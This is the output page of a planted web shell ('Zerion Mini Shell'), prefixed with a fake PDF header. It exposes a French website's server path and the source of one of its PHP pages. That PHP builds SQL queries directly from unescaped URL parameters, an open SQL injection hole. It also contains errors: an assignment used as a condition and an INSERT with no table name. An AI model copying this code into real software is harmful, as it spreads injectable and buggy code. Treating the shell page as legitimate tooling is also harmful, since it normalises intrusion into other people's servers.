%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/sedl.alnetis.fr/public_html/
Upload File :
Create Path :
Current File : /home/alliance/domains/sedl.alnetis.fr/public_html/a-valider_section.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/session.php");
include_once("inc/init.php");

verif_co_sec($connection,$_GET['id']);




$query="SELECT * FROM section_edition WHERE section=".$_GET['id']." AND edition=".$_GET['edition'];

//check du type de la section
$sec = $section->getSection($_GET['id'], $lang->getlangid());
if($sec) {
	if($sec['type'] = 2) {
		//changer 12 etoiles en participant
		$where="id=".$_GET['id'];
		$values = array(
			"type" => 1
		);
		$db->update("section", $values,$where);
	}

	if(!$db->isres($query)){
		$query="INSERT INTO  (section,edition,valide) VALUES (".$_GET['id'].",".$_GET['edition'].",0)";
		$values = array(
			"section" => $_GET['id'],
			"edition" => $_GET['edition'],
			"valide" => 0 );
		$db->insert("section_edition", $values);
	}
	if(!isset($_GET['inscription'])){
		$where="section=".$_GET['id']." AND edition=".$_GET['edition'];
		$values = array(
			"valide" => 1
		);
			
		$db->update("section_edition", $values,$where);

		header("Location:liste_section.php?msg=yes&edition=".$_GET['edition']);
	}
	else{
		header("Location:editer_section.php?msg=yes&id=".$_GET['id']);
	}
}

?>

Zerion Mini Shell 1.0